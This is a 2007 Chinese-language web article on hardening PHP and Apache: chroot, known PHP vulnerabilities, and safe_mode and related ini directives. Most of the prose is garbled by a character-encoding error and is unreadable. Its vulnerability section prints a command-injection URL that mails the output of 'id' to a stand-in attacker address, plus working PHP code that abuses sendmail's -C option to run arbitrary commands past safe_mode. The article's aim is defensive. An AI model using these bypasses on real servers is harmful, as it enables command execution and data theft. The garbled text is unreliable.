ƵµÀÖ±´ï - רÌâ - ÐÂÎÅ - »ù´¡ - ¸ß¼¶ - °²×° - ¼¼ÇÉ - Êý¾Ý¿â - ÊÖ²á - PHP - Linux - Java - MySQL - Apache - ÂéÀ±Ìà - ÀÇÃË - RailsÉçȺ - ËÑË÷ - ÏÂÔØ - ¿ªÔ´ - ÂÛ̳
PHP¿ª·¢×ÊÔ´Íø Ö÷Ò³>>°²×°ÅäÖÃ>> ÊղشËÎÄ | Êղر¾Õ¾ | ÉèΪÊ×Ò³

PHP°²È«ÅäÖÃÈ«¹¥ÂÔ

À´Ô´:www.phpres.com ×÷ÕߣºAngelover ³ö´¦£ºwww.phpres.com 2007-5-8 20:10:31 ½øÈëÌÖÂÛ×é
¹Ø ¼ü ´Ê£º PHP°²È«ÅäÖÃÈ«¹¥ÂÔ PHP°²È« PHPÅäÖà PHP¹¥ÂÔ

Ò»¡¢Web·þÎñÆ÷°²È«

PHPÆäʵ²»¹ýÊÇWeb·þÎñÆ÷µÄÒ»¸öÄ£¿é¹¦ÄÜ£¬ËùÒÔÊ×ÏÈÒª±£Ö¤Web·þÎñÆ÷µÄ°²È«¡£µ±È»Web·þÎñÆ÷Òª°²È«ÓÖ±ØÐëÊÇÏȱ£Ö¤ÏµÍ³°²È«£¬ÕâÑù¾Í³¶Ô¶ÁË£¬ÎÞÇîÎÞ¾¡¡£PHP¿ÉÒԺ͸÷ÖÖWeb·þÎñÆ÷½áºÏ£¬ÕâÀïÒ²Ö»ÌÖÂÛApache¡£·Ç³£½¨ÒéÒÔchroot·½Ê½°²×°Æô¶¯Apache£¬ÕâÑù¼´Ê¹ApacheºÍPHP¼°Æä½Å±¾³öÏÖ©¶´£¬ÊÜÓ°ÏìµÄÒ²Ö»ÓÐÕâ¸ö½ûïÀµÄϵͳ£¬²»»áΣº¦Êµ¼Êϵͳ¡£µ«ÊÇʹÓÃchrootµÄApacheºó£¬¸øÓ¦ÓÃÒ²»á´øÀ´Ò»¶¨µÄÂé·³£¬±ÈÈçÁ¬½Ómysqlʱ±ØÐëÓÃ127.0.0.1µØÖ·Ê¹ÓÃtcpÁ¬½Ó¶ø²»ÄÜÓÃlocalhostʵÏÖsocketÁ¬½Ó£¬ÕâÔÚЧÂÊÉÏ»áÉÔ΢²îÒ»µã¡£»¹ÓÐmailº¯Êý·¢ËÍÓʼþÒ²ÊǸöÎÊÌ⣬ÒòΪphp.iniÀïµÄ£º

[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com

 

¶¼ÊÇÕë¶ÔWin32ƽ̨£¬ËùÒÔÐèÒªÔÚchroot»·¾³Ïµ÷ÕûºÃsendmail¡£

¶þ¡¢PHP±¾ÉíÎÊÌâ

1¡¢Ô¶³ÌÒç³ö

PHP-4.1.2ÒÔϵÄËùÓа汾¶¼´æÔÚÎļþÉÏ´«Ô¶³Ì»º³åÇøÒç³ö©¶´£¬¶øÇÒ¹¥»÷³ÌÐòÒѾ­¹ã·ºÁ÷´«£¬³É¹¦Âʷdz£¸ß.

2¡¢Ô¶³Ì¾Ü¾ø·þÎñ

PHP-4.2.0ºÍPHP-4.2.1´æÔÚPHP multipart/form-data POSTÇëÇó´¦ÀíÔ¶³Ì©¶´£¬ËäÈ»²»ÄÜ»ñµÃ±¾µØÓû§È¨ÏÞ£¬µ«ÊÇÒ²ÄÜÔì³É¾Ü¾ø·þÎñ¡£

3¡¢safe_modeÈÆ¹ý©¶´

»¹ÓÐPHP-4.2.2ÒÔϵ½PHP-4.0.5°æ±¾¶¼´æÔÚPHP mailº¯ÊýÈÆ¹ýsafe_modeÏÞÖÆÖ´ÐÐÃüÁî©¶´£¬4.0.5°æ±¾¿ªÊ¼mailº¯ÊýÔö¼ÓÁ˵ÚÎå¸ö²ÎÊý£¬ÓÉÓÚÉè¼ÆÕß¿¼ÂDz»ÖÜ¿ÉÒÔÍ»ÆÆsafe_modeµÄÏÞÖÆÖ´ÐÐÃüÁî¡£ÆäÖÐ4.0.5°æ±¾Í»ÆÆ·Ç³£¼òµ¥£¬Ö»ÐèÓ÷ֺŸô¿ªºóÃæ¼ÓshellÃüÁî¾Í¿ÉÒÔÁË£¬±ÈÈç´æÔÚPHP½Å±¾evil.php£º


Ö´ÐÐÈçϵÄURL£º

http://foo.com/evil.php?bar=;/usr/bin/id¡¡mail evil@domain.com

Õ⽫idÖ´ÐеĽá¹û·¢Ë͸øevil@domain.com¡£

¶ÔÓÚ4.0.6ÖÁ4.2.2µÄPHPÍ»ÆÆsafe_modeÏÞÖÆÆäʵÊÇÀûÓÃÁËsendmailµÄ-C²ÎÊý£¬ËùÒÔϵͳ±ØÐëÊÇʹÓÃsendmail¡£ÈçϵĴúÂëÄܹ»Í»ÆÆsafe_modeÏÞÖÆÖ´ÐÐÃüÁ

#×¢Ò⣬ÏÂÃæÕâÁ½¸ö±ØÐëÊDz»´æÔڵģ¬
»òÕßËüÃǵÄÊôÖ÷ºÍ±¾½Å±¾µÄÊôÖ÷ÊÇÒ»Ñù
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>

 

»¹ÊÇʹÓÃÒÔÉÏÓÐÎÊÌâ°æ±¾PHPµÄÓû§Ò»¶¨Òª¼°Ê±Éý¼¶µ½×îа汾£¬ÕâÑù²ÅÄÜÏû³ý»ù±¾µÄ°²È«ÎÊÌâ¡£

Èý¡¢PHP±¾ÉíµÄ°²È«ÅäÖÃ
'knowsky.com
PHPµÄÅäÖ÷dz£Áé»î£¬¿ÉÒÔͨ¹ýphp.ini, httpd.conf, .htaccessÎļþ£¨¸ÃĿ¼±ØÐëÉèÖÃÁËAllowOverride All»òOptions£©½øÐÐÉèÖ㬻¹¿ÉÒÔÔڽű¾³ÌÐòÀïʹÓÃini_set()¼°ÆäËûµÄÌØ¶¨µÄº¯Êý½øÐÐÉèÖá£Í¨¹ýphpinfo()ºÍget_cfg_var()º¯Êý¿ÉÒԵõ½ÅäÖÃÑ¡ÏîµÄ¸÷¸öÖµ¡£

Èç¹ûÅäÖÃÑ¡ÏîÊÇΨһPHP_INI_SYSTEMÊôÐԵ쬱ØÐëͨ¹ýphp.iniºÍhttpd.confÀ´Ð޸ģ¬ËüÃÇÐ޸ĵÄÊÇPHPµÄMasterÖµ£¬µ«ÐÞ¸ÄÖ®ºó±ØÐëÖØÆôapache²ÅÄÜÉúЧ¡£ÆäÖÐphp.iniÉèÖõÄÑ¡ÏîÊǶÔWeb·þÎñÆ÷ËùÓнű¾ÉúЧ£¬httpd.confÀïÉèÖõÄÑ¡ÏîÊǶԸö¨ÒåµÄĿ¼ÏÂËùÓнű¾ÉúЧ¡£

Èç¹û»¹ÓÐÆäËûµÄPHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALLÊôÐÔµÄÑ¡Ïî¾Í¿ÉÒÔʹÓÃ.htaccessÎļþÉèÖã¬Ò²¿ÉÒÔͨ¹ýÔڽű¾³ÌÐò×ÔÉíÓÃini_set()º¯ÊýÉ趨£¬ËüÃÇÐ޸ĵÄÊÇLocalÖµ£¬¸ÄÁËÒÔºóÂíÉÏÉúЧ¡£µ«ÊÇ.htaccessÖ»¶Ôµ±Ç°Ä¿Â¼µÄ½Å±¾³ÌÐòÉúЧ£¬ini_set()º¯ÊýÖ»¶Ô¸Ã½Å±¾³ÌÐòÉèÖÃini_set()º¯ÊýÒÔºóµÄ´úÂëÉúЧ¡£¸÷¸ö°æ±¾µÄÑ¡ÏîÊôÐÔ¿ÉÄܲ»¾¡Ïàͬ£¬¿ÉÒÔÓÃÈçÏÂÃüÁî²éÕÒµ±Ç°Ô´´úÂëµÄmain.cÎļþµÃµ½ËùÓеÄÑ¡ÏÒÔ¼°ËüµÄÊôÐÔ£º

# grep PHP_INI_ /PHP_SRC/main/main.c

 

ÔÚÌÖÂÛPHP°²È«ÅäÖÃ֮ǰ£¬Ó¦¸ÃºÃºÃÁ˽âPHPµÄsafe_modeģʽ¡£

1¡¢safe_mode

safe_modeÊÇΨһPHP_INI_SYSTEMÊôÐÔ£¬±ØÐëͨ¹ýphp.ini»òhttpd.confÀ´ÉèÖá£ÒªÆôÓÃsafe_mode£¬Ö»ÐèÐÞ¸Äphp.ini£º

safe_mode = On
»òÕßÐÞ¸Ähttpd.conf£¬¶¨ÒåĿ¼£º

Options FollowSymLinks
php_admin_value safe_mode 1

 


ÖØÆôapacheºósafe_mode¾ÍÉúЧÁË¡£Æô¶¯safe_mode£¬»á¶ÔÐí¶àPHPº¯Êý½øÐÐÏÞÖÆ£¬ÌرðÊǺÍϵͳÏà¹ØµÄÎļþ´ò¿ª¡¢ÃüÁîÖ´ÐеȺ¯Êý¡£

ËùÓвÙ×÷ÎļþµÄº¯Êý½«Ö»ÄܲÙ×÷Óë½Å±¾UIDÏàͬµÄÎļþ£¬±ÈÈçtest.php½Å±¾µÄÄÚÈÝΪ£º


¼¸¸öÎļþµÄÊôÐÔÈçÏ£º
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

 

ÔÚä¯ÀÀÆ÷ÇëÇótest.php»áÌáʾÈçϵĴíÎóÐÅÏ¢£º

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

Èç¹û±»²Ù×÷ÎļþËùÔÚĿ¼µÄUIDºÍ½Å±¾UIDÒ»Ö£¬ÄÇô¸ÃÎļþµÄUID¼´Ê¹ºÍ½Å±¾²»Í¬Ò²¿ÉÒÔ·ÃÎʵ쬲»ÖªÕâÊÇ·ñÊÇPHPµÄÒ»¸ö©¶´»¹ÊÇÁíÓÐÒþÇé¡£ËùÒÔphp½Å±¾ÊôÖ÷Õâ¸öÓû§×îºÃ¾ÍÖ»×÷Õâ¸öÓÃ;£¬¾ø¶Ô½ûֹʹÓÃroot×öΪphp½Å±¾µÄÊôÖ÷£¬ÕâÑù¾Í´ï²»µ½safe_modeµÄЧ¹ûÁË¡£

Èç¹ûÏ뽫Æä·Å¿íµ½GID±È½Ï£¬Ôò´ò¿ª safe_mode_gid¿ÉÒÔ¿¼ÂÇÖ»±È½ÏÎļþµÄGID£¬¿ÉÒÔÉèÖÃÈçÏÂÑ¡Ï

safe_mode_gid = On

ÉèÖÃÁËsafe_modeÒÔºó£¬ËùÓÐÃüÁîÖ´Ðеĺ¯Êý½«±»ÏÞÖÆÖ»ÄÜÖ´ÐÐphp.iniÀïsafe_mode_exec_dirÖ¸¶¨Ä¿Â¼ÀïµÄ³ÌÐò£¬¶øÇÒshell_exec¡¢`ls -l`ÕâÖÖÖ´ÐÐÃüÁîµÄ·½Ê½»á±»½ûÖ¹¡£Èç¹ûȷʵÐèÒªµ÷ÓÃÆäËü³ÌÐò£¬¿ÉÒÔÔÚphp.ini×öÈçÏÂÉèÖãº

safe_mode_exec_dir = /usr/local/php/exec

È»ºó¿½±´³ÌÐòµ½¸ÃĿ¼£¬ÄÇôphp½Å±¾¾Í¿ÉÒÔÓÃsystemµÈº¯ÊýÀ´Ö´ÐиóÌÐò¡£¶øÇÒ¸ÃĿ¼ÀïµÄshell½Å±¾»¹ÊÇ¿ÉÒÔµ÷ÓÃÆäËüĿ¼ÀïµÄϵͳÃüÁî¡£

safe_mode_include_dir string

µ±´Ó´ËĿ¼¼°Æä×ÓĿ¼£¨Ä¿Â¼±ØÐëÔÚ include_path ÖлòÕßÓÃÍêÕû·¾¶À´°üº¬£©°üº¬ÎļþʱԽ¹ý UID/GID ¼ì²é¡£

´Ó PHP 4.2.0 ¿ªÊ¼£¬±¾Ö¸Áî¿ÉÒÔ½ÓÊÜºÍ include_path Ö¸ÁîÀàËÆµÄ·ç¸ñÓ÷ֺŸô¿ªµÄ·¾¶£¬¶ø²»Ö»ÊÇÒ»¸öĿ¼¡£

Ö¸¶¨µÄÏÞÖÆÊµ¼ÊÉÏÊÇÒ»¸öǰ׺£¬¶ø·ÇÒ»¸öĿ¼Ãû¡£ÕâÒ²¾ÍÊÇ˵¡°safe_mode_include_dir = /dir/incl¡±½«ÔÊÐí·ÃÎÊ¡°/dir/include¡±ºÍ¡°/dir/incls¡±£¬Èç¹ûËüÃÇ´æÔÚ¡£Èç¹ûÄúÏ£Íû½«·ÃÎÊ¿ØÖÆÔÚÒ»¸öÖ¸¶¨µÄĿ¼£¬ÄÇôÇëÔÚ½áβ¼ÓÉÏÒ»¸öбÏߣ¬ÀýÈ磺¡°safe_mode_include_dir = /dir/incl/¡±¡£

safe_mode_allowed_env_vars string

ÉèÖÃijЩ»·¾³±äÁ¿¿ÉÄÜÊÇDZÔڵݲȫȱ¿Ú¡£±¾Ö¸Áî°üº¬ÓÐÒ»¸ö¶ººÅ·Ö¸ôµÄǰ׺ÁÐ±í¡£ÔÚ°²È«Ä£Ê½Ï£¬Óû§Ö»ÄܸıäÄÇЩÃû×Ö¾ßÓÐÔÚÕâÀïÌṩµÄǰ׺µÄ»·¾³±äÁ¿¡£Ä¬ÈÏÇé¿öÏ£¬Óû§Ö»ÄÜÉèÖÃÒÔ PHP_ ¿ªÍ·µÄ»·¾³±äÁ¿£¨ÀýÈç PHP_FOO = BAR£©¡£

×¢: Èç¹û±¾Ö¸ÁîΪ¿Õ£¬PHP ½«Ê¹Óû§¿ÉÒÔÐÞ¸ÄÈκλ·¾³±äÁ¿£¡

safe_mode_protected_env_vars string

±¾Ö¸Áî°üº¬ÓÐÒ»¸ö¶ººÅ·Ö¸ôµÄ»·¾³±äÁ¿µÄÁÐ±í£¬×îÖÕÓû§²»ÄÜÓà putenv() À´¸Ä±äÕâЩ»·¾³±äÁ¿¡£ÉõÖÁÔÚ safe_mode_allowed_env_vars ÖÐÉèÖÃÁËÔÊÐíÐÞ¸ÄʱҲ²»ÄܸıäÕâЩ±äÁ¿¡£

ËäÈ»safe_mode²»ÊÇÍòÄܵģ¨µÍ°æ±¾µÄPHP¿ÉÒÔÈÆ¹ý£©£¬µ«»¹ÊÇÇ¿ÁÒ½¨Òé´ò¿ª°²È«Ä£Ê½£¬ÔÚÒ»¶¨³Ì¶ÈÉÏÄܹ»±ÜÃâһЩδ֪µÄ¹¥»÷¡£²»¹ýÆôÓÃsafe_mode»áÓкܶàÏÞÖÆ£¬¿ÉÄܶÔÓ¦ÓôøÀ´Ó°Ï죬ËùÒÔ»¹ÐèÒªµ÷Õû´úÂëºÍÅäÖòÅÄܺÍг¡£±»°²È«Ä£Ê½ÏÞÖÆ»òÆÁ±ÎµÄº¯Êý¿ÉÒԲο¼PHPÊֲᡣ

ÌÖÂÛÍêsafe_modeºó£¬ÏÂÃæ½áºÏ³ÌÐò´úÂëʵ¼Ê¿ÉÄܳöÏÖµÄÎÊÌâÌÖÂÛÈçºÎͨ¹ý¶ÔPHP·þÎñÆ÷¶ËµÄÅäÖÃÀ´±ÜÃâ³öÏֵĩ¶´¡£

»¶Ó­½øÈëPHP¿ª·¢×ÊÔ´ÂÛ̳ÌÖÂÛ¡£

¡¾ÊղشËÎÄ¡¿¡¾´ó ÖРС¡¿¡¾´òÓ¡¡¿¡¾¹Ø±Õ¡¿
Ïà¹ØÎÄÕÂ
ͼÎÄÍÆ¼ö
ÂÛ Ì³ ×Ê Ô´
PHP¿ª·¢×ÊÔ´Íø·Ü¶·Ä¿±ê
ÔĶÁÅÅÐУº
ÈÈÃż¼ÊõÎĵµ
×îÐÂͼÎĵµ
±¾Õ¾±à¼­ÍƼö:(±¾Õ¾¿ªÍ¨Delphi4PHP×¨Çø£¬»¶Ó­½øÈëÂÛ̳½»Á÷£¡)
±à¼©×î½ü¸üÐÂÎÄÕÂ
ÍøÕ¾ÔÞÖúÉÌ
ËÑË÷Äú¸ÐÐËȤµÄÄÚÈÝ
 
  ¡¡ÍøÕ¾Ê×Ò³¡¡- ¡¡ÍøÕ¾µØÍ¼¡¡- ¡¡ÍøÕ¾ºÏ×÷¡¡- ¡¡ÊÖ²áÖÐÐÄ¡¡- ¡¡Í¨ÓÃÍøÖ·¡¡- ¡¡ÍøÕ¾ÂÛ̳¡¡- ¡¡ÍøÕ¾Í¶¸å¡¡- ¡¡ÓÑÇéÁ´½Ó¡¡- ¡¡°ïÖúÖÐÐÄ
°æÈ¨ËùÓУºPHP¿ª·¢×ÊÔ´Íø © 2003-2008 ͨÓÃÍøÖ·:PHP×ÊÔ´Íø ºÏ×÷ýÌå: ÈüµÏÍøIT¼¼Êõ
»¥ÁªÍøÎ¥·¨ºÍ²»Á¼ÐÅÏ¢¾Ù±¨ÖÐÐÄ | ²»Á¼ÐÅÏ¢¾Ù±¨ÐÅÏä